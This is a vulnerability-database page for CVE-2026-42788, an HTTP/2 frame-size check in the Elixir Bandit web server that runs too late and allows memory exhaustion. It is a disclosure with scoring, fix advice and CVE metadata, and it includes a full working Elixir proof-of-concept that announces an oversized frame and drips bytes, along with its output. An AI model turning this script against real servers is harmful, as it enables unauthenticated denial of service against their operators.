Vulnerability-Lookup

GHSA-Q6V9-R226-V65F

Vulnerability from github – Published: 2026-05-07 03:52 – Updated: 2026-05-07 03:52

Summary

Bandit HTTP/2 Frame Size Limit Bypass via Late Buffer Check Enables Memory Exhaustion

Details

Summary

Bandit's HTTP/2 parser checks frame size after it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

Opens an h2c connection to a Bandit server it starts itself.
Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB).
Polls for GOAWAY(FRAME_SIZE_ERROR). If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {{:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated max_frame_size should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on length > max_frame_size as soon as the 9 header bytes arrive, before the body-bearing clauses.

# Bandit HTTP/2 oversized-frame late-check PoC.
#
# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.
# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this
# limit *after* matching `payload::binary-size(length)` in the frame
# pattern. When the announced length exceeds what the buffer holds,
# none of the body-bearing clauses match and `deserialize/2` returns
# `{:more, msg}`, telling the caller to keep buffering. The oversize
# error in the "valid shape, length > max_frame_size" clause therefore
# fires only *after* the entire announced body has been received —
# letting a peer trickle up to ~16 MiB per frame (the 24-bit length
# field maximum) into the server before the cap engages, well past
# the 16 KiB the server agreed to.
#
# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips
# body bytes in 64 KiB chunks, and after each chunk does a brief
# non-blocking recv to see if the server has reacted. A patched server
# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header
# alone is enough). A vulnerable server keeps silently accepting up
# to the full 16 MiB.
#
# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive
# header — the parser never reaches dispatch (it's stuck buffering
# body), so the type and stream id are immaterial to the bug.
#
# Run: elixir scripts/bandit/http2_frame_size_late_check.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule NoopApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n")
end

defmodule FrameSizeLateCheck do
  @port 4321
  @connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

  @type_settings 0x4
  @type_goaway 0x7
  @flag_settings_ack 0x1

  @max_24_bit 0xFFFFFF
  @drip_chunk_size 64 * 1024
  @max_total_drip 4 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} =
      :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

    advertised_max_frame_size = handshake!(sock)
    log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.")

    abusive_header =
      frame_header(@max_24_bit, @type_settings, 0, 0)

    log(
      "Sending oversized SETTINGS header: length=#{@max_24_bit} " <>
        "(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}."
    )

    :ok = :gen_tcp.send(sock, abusive_header)

    case poll_for_reaction(sock, 200) do
      {:goaway, error_code} ->
        log("Server sent GOAWAY on header alone: error_code=#{error_code} — patched.")
        finish(sock)

      :silent ->
        log("Server silent after header. Beginning body drip…")
        drip_loop(sock, 0)
    end
  end

  defp drip_loop(sock, total_sent) when total_sent >= @max_total_drip do
    log(
      "Drip cap reached: #{total_sent} bytes accepted with no server reaction. " <>
        "Server is buffering an oversized frame body well past max_frame_size."
    )

    finish(sock)
  end

  defp drip_loop(sock, total_sent) do
    chunk = :binary.copy(<<0>>, @drip_chunk_size)

    case :gen_tcp.send(sock, chunk) do
      :ok ->
        new_total = total_sent + @drip_chunk_size

        case poll_for_reaction(sock, 50) do
          {:goaway, error_code} ->
            log(
              "After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server " <>
                "sent GOAWAY: error_code=#{error_code}."
            )

            finish(sock)

          :silent ->
            if rem(new_total, 512 * 1024) == 0 do
              log("Dripped #{div(new_total, 1024)} KiB so far, no reaction.")
            end

            drip_loop(sock, new_total)
        end

      {:error, reason} ->
        log("Send failed at total=#{total_sent}: #{inspect(reason)}.")
        finish(sock)
    end
  end

  defp poll_for_reaction(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 9, timeout_ms) do
      {:ok, <<length::24, type::8, _flags::8, _r::1, _stream_id::31>>} ->
        case recv_payload(sock, length, timeout_ms) do
          {:ok, payload} when type == @type_goaway ->
            <<_last_id::32, error_code::32, _debug::binary>> = payload
            {:goaway, error_code}

          {:ok, _} ->
            :silent

          {:error, _} ->
            :silent
        end

      {:error, :timeout} ->
        :silent

      {:error, :closed} ->
        {:goaway, :connection_closed_without_goaway}
    end
  end

  defp finish(sock), do: :gen_tcp.close(sock)

  # --- HTTP/2 handshake helpers ------------------------------------------

  defp handshake!(sock) do
    :ok = :gen_tcp.send(sock, @connection_preface)
    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>))

    {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)
    @type_settings = server_settings_frame.type
    advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)

    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>, @flag_settings_ack))

    _ = drain(sock, 100)
    advertised_max_frame_size
  end

  # SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.
  # SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.
  defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)
  defp parse_max_frame_size(<<>>, current_value), do: current_value

  defp parse_max_frame_size(<<0x5::16, value::32, rest::binary>>, _current) do
    parse_max_frame_size(rest, value)
  end

  defp parse_max_frame_size(<<_id::16, _value::32, rest::binary>>, current) do
    parse_max_frame_size(rest, current)
  end

  defp build_settings_frame(payload, flags \\ 0) do
    frame_header(byte_size(payload), @type_settings, flags, 0) <> payload
  end

  defp frame_header(length, type, flags, stream_id) do
    <<length::24, type::8, flags::8, 0::1, stream_id::31>>
  end

  defp recv_full_frame(sock, timeout_ms) do
    with {:ok, <<length::24, type::8, flags::8, _r::1, stream_id::31>>} <-
           :gen_tcp.recv(sock, 9, timeout_ms),
         {:ok, payload} <- recv_payload(sock, length, timeout_ms) do
      {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: payload}}
    end
  end

  defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, <<>>}
  defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_ms)

  defp drain(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 0, timeout_ms) do
      {:ok, bytes} -> bytes <> drain(sock, timeout_ms)
      {:error, _} -> <<>>
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FrameSizeLateCheck.run()

17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.
[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384.
[15:23:19.444] Server silent after header. Beginning body drip…
[15:23:19.857] Dripped 512 KiB so far, no reaction.
[15:23:20.265] Dripped 1024 KiB so far, no reaction.
[15:23:20.676] Dripped 1536 KiB so far, no reaction.
[15:23:21.094] Dripped 2048 KiB so far, no reaction.
[15:23:21.511] Dripped 2560 KiB so far, no reaction.
[15:23:21.925] Dripped 3072 KiB so far, no reaction.
[15:23:22.340] Dripped 3584 KiB so far, no reaction.
[15:23:22.749] Dripped 4096 KiB so far, no reaction.
[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past max_frame_size.

Severity ?

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.5"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:52:31Z",
    "nvd_published_at": "2026-05-01T21:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nBandit\u0027s HTTP/2 parser checks frame size *after* it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024\u00d7 the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.\n\n### Details\n\nIn `lib/bandit/http2/frame.ex:23-65`, every clause that could detect an oversized frame requires `payload::binary-size(length)` to match \u2014 meaning the body has to be fully in memory before the size guard runs. Until then the parser returns `{:more, msg}` and the connection layer keeps reading. So the cap fires only after the violation is complete.\n\nThe frame type and stream id don\u0027t matter; the parser never gets that far.\n\n### PoC\n\nThe script is at the end. It:\n\n1. Opens an h2c connection to a Bandit server it starts itself.\n2. Sends a 9-byte frame header announcing `length = 0xFFFFFF` (~16 MiB).\n3. Polls for `GOAWAY(FRAME_SIZE_ERROR)`. If silent, drips body bytes in 64 KiB chunks.\n\nA patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.\n\n**Suggested fix**\n\nAdd a header-only clause that rejects on the length field alone, e.g. `def deserialize(\u003c\u003clength::24, _::binary\u003e\u003e = msg, max_frame_size) when length \u003e max_frame_size, do: {{:error, frame_size_error(), \"...\"}, drop_frame_or_close(msg)}`, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.\n\n### Impact\n\nAny Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed \u2014 the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated `max_frame_size` should allow. No code execution, no data disclosure \u2014 pure resource exhaustion.\n\nFix: add a header-only clause that rejects on `length \u003e max_frame_size` as soon as the 9 header bytes arrive, before the body-bearing clauses.\n\n```elixir\n# Bandit HTTP/2 oversized-frame late-check PoC.\n#\n# RFC 9113 \u00a76.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.\n# Bandit\u0027s frame deserializer (lib/bandit/http2/frame.ex) checks this\n# limit *after* matching `payload::binary-size(length)` in the frame\n# pattern. When the announced length exceeds what the buffer holds,\n# none of the body-bearing clauses match and `deserialize/2` returns\n# `{:more, msg}`, telling the caller to keep buffering. The oversize\n# error in the \"valid shape, length \u003e max_frame_size\" clause therefore\n# fires only *after* the entire announced body has been received \u2014\n# letting a peer trickle up to ~16 MiB per frame (the 24-bit length\n# field maximum) into the server before the cap engages, well past\n# the 16 KiB the server agreed to.\n#\n# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips\n# body bytes in 64 KiB chunks, and after each chunk does a brief\n# non-blocking recv to see if the server has reacted. A patched server\n# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header\n# alone is enough). A vulnerable server keeps silently accepting up\n# to the full 16 MiB.\n#\n# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive\n# header \u2014 the parser never reaches dispatch (it\u0027s stuck buffering\n# body), so the type and stream id are immaterial to the bug.\n#\n# Run: elixir scripts/bandit/http2_frame_size_late_check.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule NoopApp do\n  @behaviour Plug\n  def init(opts), do: opts\n  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, \"ok\\n\")\nend\n\ndefmodule FrameSizeLateCheck do\n  @port 4321\n  @connection_preface \"PRI * HTTP/2.0\\r\\n\\r\\nSM\\r\\n\\r\\n\"\n\n  @type_settings 0x4\n  @type_goaway 0x7\n  @flag_settings_ack 0x1\n\n  @max_24_bit 0xFFFFFF\n  @drip_chunk_size 64 * 1024\n  @max_total_drip 4 * 1024 * 1024\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} =\n      :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false, nodelay: true])\n\n    advertised_max_frame_size = handshake!(sock)\n    log(\"Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.\")\n\n    abusive_header =\n      frame_header(@max_24_bit, @type_settings, 0, 0)\n\n    log(\n      \"Sending oversized SETTINGS header: length=#{@max_24_bit} \" \u003c\u003e\n        \"(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}.\"\n    )\n\n    :ok = :gen_tcp.send(sock, abusive_header)\n\n    case poll_for_reaction(sock, 200) do\n      {:goaway, error_code} -\u003e\n        log(\"Server sent GOAWAY on header alone: error_code=#{error_code} \u2014 patched.\")\n        finish(sock)\n\n      :silent -\u003e\n        log(\"Server silent after header. Beginning body drip\u2026\")\n        drip_loop(sock, 0)\n    end\n  end\n\n  defp drip_loop(sock, total_sent) when total_sent \u003e= @max_total_drip do\n    log(\n      \"Drip cap reached: #{total_sent} bytes accepted with no server reaction. \" \u003c\u003e\n        \"Server is buffering an oversized frame body well past max_frame_size.\"\n    )\n\n    finish(sock)\n  end\n\n  defp drip_loop(sock, total_sent) do\n    chunk = :binary.copy(\u003c\u003c0\u003e\u003e, @drip_chunk_size)\n\n    case :gen_tcp.send(sock, chunk) do\n      :ok -\u003e\n        new_total = total_sent + @drip_chunk_size\n\n        case poll_for_reaction(sock, 50) do\n          {:goaway, error_code} -\u003e\n            log(\n              \"After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server \" \u003c\u003e\n                \"sent GOAWAY: error_code=#{error_code}.\"\n            )\n\n            finish(sock)\n\n          :silent -\u003e\n            if rem(new_total, 512 * 1024) == 0 do\n              log(\"Dripped #{div(new_total, 1024)} KiB so far, no reaction.\")\n            end\n\n            drip_loop(sock, new_total)\n        end\n\n      {:error, reason} -\u003e\n        log(\"Send failed at total=#{total_sent}: #{inspect(reason)}.\")\n        finish(sock)\n    end\n  end\n\n  defp poll_for_reaction(sock, timeout_ms) do\n    case :gen_tcp.recv(sock, 9, timeout_ms) do\n      {:ok, \u003c\u003clength::24, type::8, _flags::8, _r::1, _stream_id::31\u003e\u003e} -\u003e\n        case recv_payload(sock, length, timeout_ms) do\n          {:ok, payload} when type == @type_goaway -\u003e\n            \u003c\u003c_last_id::32, error_code::32, _debug::binary\u003e\u003e = payload\n            {:goaway, error_code}\n\n          {:ok, _} -\u003e\n            :silent\n\n          {:error, _} -\u003e\n            :silent\n        end\n\n      {:error, :timeout} -\u003e\n        :silent\n\n      {:error, :closed} -\u003e\n        {:goaway, :connection_closed_without_goaway}\n    end\n  end\n\n  defp finish(sock), do: :gen_tcp.close(sock)\n\n  # --- HTTP/2 handshake helpers ------------------------------------------\n\n  defp handshake!(sock) do\n    :ok = :gen_tcp.send(sock, @connection_preface)\n    :ok = :gen_tcp.send(sock, build_settings_frame(\u003c\u003c\u003e\u003e))\n\n    {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)\n    @type_settings = server_settings_frame.type\n    advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)\n\n    :ok = :gen_tcp.send(sock, build_settings_frame(\u003c\u003c\u003e\u003e, @flag_settings_ack))\n\n    _ = drain(sock, 100)\n    advertised_max_frame_size\n  end\n\n  # SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.\n  # SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.\n  defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)\n  defp parse_max_frame_size(\u003c\u003c\u003e\u003e, current_value), do: current_value\n\n  defp parse_max_frame_size(\u003c\u003c0x5::16, value::32, rest::binary\u003e\u003e, _current) do\n    parse_max_frame_size(rest, value)\n  end\n\n  defp parse_max_frame_size(\u003c\u003c_id::16, _value::32, rest::binary\u003e\u003e, current) do\n    parse_max_frame_size(rest, current)\n  end\n\n  defp build_settings_frame(payload, flags \\\\ 0) do\n    frame_header(byte_size(payload), @type_settings, flags, 0) \u003c\u003e payload\n  end\n\n  defp frame_header(length, type, flags, stream_id) do\n    \u003c\u003clength::24, type::8, flags::8, 0::1, stream_id::31\u003e\u003e\n  end\n\n  defp recv_full_frame(sock, timeout_ms) do\n    with {:ok, \u003c\u003clength::24, type::8, flags::8, _r::1, stream_id::31\u003e\u003e} \u003c-\n           :gen_tcp.recv(sock, 9, timeout_ms),\n         {:ok, payload} \u003c- recv_payload(sock, length, timeout_ms) do\n      {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: payload}}\n    end\n  end\n\n  defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, \u003c\u003c\u003e\u003e}\n  defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_ms)\n\n  defp drain(sock, timeout_ms) do\n    case :gen_tcp.recv(sock, 0, timeout_ms) do\n      {:ok, bytes} -\u003e bytes \u003c\u003e drain(sock, timeout_ms)\n      {:error, _} -\u003e \u003c\u003c\u003e\u003e\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nFrameSizeLateCheck.run()\n```\n\n```logs\n17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.\n[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384.\n[15:23:19.444] Server silent after header. Beginning body drip\u2026\n[15:23:19.857] Dripped 512 KiB so far, no reaction.\n[15:23:20.265] Dripped 1024 KiB so far, no reaction.\n[15:23:20.676] Dripped 1536 KiB so far, no reaction.\n[15:23:21.094] Dripped 2048 KiB so far, no reaction.\n[15:23:21.511] Dripped 2560 KiB so far, no reaction.\n[15:23:21.925] Dripped 3072 KiB so far, no reaction.\n[15:23:22.340] Dripped 3584 KiB so far, no reaction.\n[15:23:22.749] Dripped 4096 KiB so far, no reaction.\n[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past max_frame_size.\n```",
  "id": "GHSA-q6v9-r226-v65f",
  "modified": "2026-05-07T03:52:31Z",
  "published": "2026-05-07T03:52:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-q6v9-r226-v65f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42788"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/1e8e55966da9129016b73d32f0e1df4630e3b463"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-42788.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-42788"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bandit HTTP/2 Frame Size Limit Bypass via Late Buffer Check Enables Memory Exhaustion"
}

CVE-2026-42788 (GCVE-0-2026-42788)

Vulnerability from cvelistv5 – Published: 2026-05-01 20:34 – Updated: 2026-05-04 17:11

Title

HTTP/2 frame size limit checked after body is buffered in bandit

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated memory exhaustion via oversized HTTP/2 frames. 'Elixir.Bandit.HTTP2.Frame':deserialize/2 in lib/bandit/http2/frame.ex checks the SETTINGS_MAX_FRAME_SIZE limit only after pattern-matching payload::binary-size(length), which requires the entire frame body to be present in memory before either the accept or reject clause can fire. A peer that announces a frame length up to the 24-bit maximum (~16 MiB) causes the server to buffer that entire body before the size guard is evaluated, regardless of the max_frame_size negotiated during the HTTP/2 handshake (default 16 KiB per RFC 9113). An unauthenticated attacker holding many concurrent connections can force the server to buffer far more memory than the negotiated frame size limit should permit, leading to memory pressure and potential denial of service. This issue affects bandit: from 0.3.6 before 1.11.0.

Severity ?

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

EEF

References

4 references

URL	Tags
https://github.com/mtrudel/bandit/security/adviso…	vendor-advisoryrelated
https://cna.erlef.org/cves/CVE-2026-42788.html	related
https://osv.dev/vulnerability/EEF-CVE-2026-42788	related
https://github.com/mtrudel/bandit/commit/1e8e5596…	patch

Impacted products

2 products

Vendor	Product	Version
mtrudel	bandit	Affected: 0.3.6 , < 1.11.0 (semver) cpe:2.3:a:mtrudel:bandit::::::::
mtrudel	bandit	Affected: f00dd69a5b2a4863be585907acd853c4ffd41399 , < 1e8e55966da9129016b73d32f0e1df4630e3b463 (git) cpe:2.3:a:mtrudel:bandit::::::::

Credits

Peter Ullrich Mat Trudel Jonatan Männchen

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42788",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-02T01:14:16.975049Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-02T01:14:50.042Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-q6v9-r226-v65f"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://repo.hex.pm",
          "cpes": [
            "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.Bandit.HTTP2.Frame\u0027"
          ],
          "packageName": "bandit",
          "packageURL": "pkg:hex/bandit",
          "product": "bandit",
          "programFiles": [
            "lib/bandit/http2/frame.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.Bandit.HTTP2.Frame\u0027:deserialize/2"
            }
          ],
          "repo": "https://github.com/mtrudel/bandit",
          "vendor": "mtrudel",
          "versions": [
            {
              "lessThan": "1.11.0",
              "status": "affected",
              "version": "0.3.6",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://github.com",
          "cpes": [
            "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.Bandit.HTTP2.Frame\u0027"
          ],
          "packageName": "mtrudel/bandit",
          "packageURL": "pkg:github/mtrudel/bandit",
          "product": "bandit",
          "programFiles": [
            "lib/bandit/http2/frame.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.Bandit.HTTP2.Frame\u0027:deserialize/2"
            }
          ],
          "repo": "https://github.com/mtrudel/bandit",
          "vendor": "mtrudel",
          "versions": [
            {
              "lessThan": "1e8e55966da9129016b73d32f0e1df4630e3b463",
              "status": "affected",
              "version": "f00dd69a5b2a4863be585907acd853c4ffd41399",
              "versionType": "git"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "1.11.0",
                  "versionStartIncluding": "0.3.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ],
          "operator": "AND"
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Peter Ullrich"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Mat Trudel"
        },
        {
          "lang": "en",
          "type": "analyst",
          "value": "Jonatan M\u00e4nnchen"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated memory exhaustion via oversized HTTP/2 frames.\u003cp\u003e\u003ctt\u003e\u0027Elixir.Bandit.HTTP2.Frame\u0027:deserialize/2\u003c/tt\u003e in \u003ctt\u003elib/bandit/http2/frame.ex\u003c/tt\u003e checks the \u003ctt\u003eSETTINGS_MAX_FRAME_SIZE\u003c/tt\u003e limit only after pattern-matching \u003ctt\u003epayload::binary-size(length)\u003c/tt\u003e, which requires the entire frame body to be present in memory before either the accept or reject clause can fire. A peer that announces a frame length up to the 24-bit maximum (~16 MiB) causes the server to buffer that entire body before the size guard is evaluated, regardless of the \u003ctt\u003emax_frame_size\u003c/tt\u003e negotiated during the HTTP/2 handshake (default 16 KiB per RFC 9113).\u003c/p\u003e\u003cp\u003eAn unauthenticated attacker holding many concurrent connections can force the server to buffer far more memory than the negotiated frame size limit should permit, leading to memory pressure and potential denial of service.\u003c/p\u003e\u003cp\u003eThis issue affects bandit: from 0.3.6 before 1.11.0.\u003c/p\u003e"
            }
          ],
          "value": "Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated memory exhaustion via oversized HTTP/2 frames.\n\n\u0027Elixir.Bandit.HTTP2.Frame\u0027:deserialize/2 in lib/bandit/http2/frame.ex checks the SETTINGS_MAX_FRAME_SIZE limit only after pattern-matching payload::binary-size(length), which requires the entire frame body to be present in memory before either the accept or reject clause can fire. A peer that announces a frame length up to the 24-bit maximum (~16 MiB) causes the server to buffer that entire body before the size guard is evaluated, regardless of the max_frame_size negotiated during the HTTP/2 handshake (default 16 KiB per RFC 9113).\n\nAn unauthenticated attacker holding many concurrent connections can force the server to buffer far more memory than the negotiated frame size limit should permit, leading to memory pressure and potential denial of service.\n\nThis issue affects bandit: from 0.3.6 before 1.11.0."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-130",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-130 Excessive Allocation"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-04T17:11:35.207Z",
        "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "shortName": "EEF"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory",
            "related"
          ],
          "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-q6v9-r226-v65f"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://cna.erlef.org/cves/CVE-2026-42788.html"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://osv.dev/vulnerability/EEF-CVE-2026-42788"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/mtrudel/bandit/commit/1e8e55966da9129016b73d32f0e1df4630e3b463"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "HTTP/2 frame size limit checked after body is buffered in bandit",
      "x_generator": {
        "engine": "cvelib 1.8.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
    "assignerShortName": "EEF",
    "cveId": "CVE-2026-42788",
    "datePublished": "2026-05-01T20:34:11.911Z",
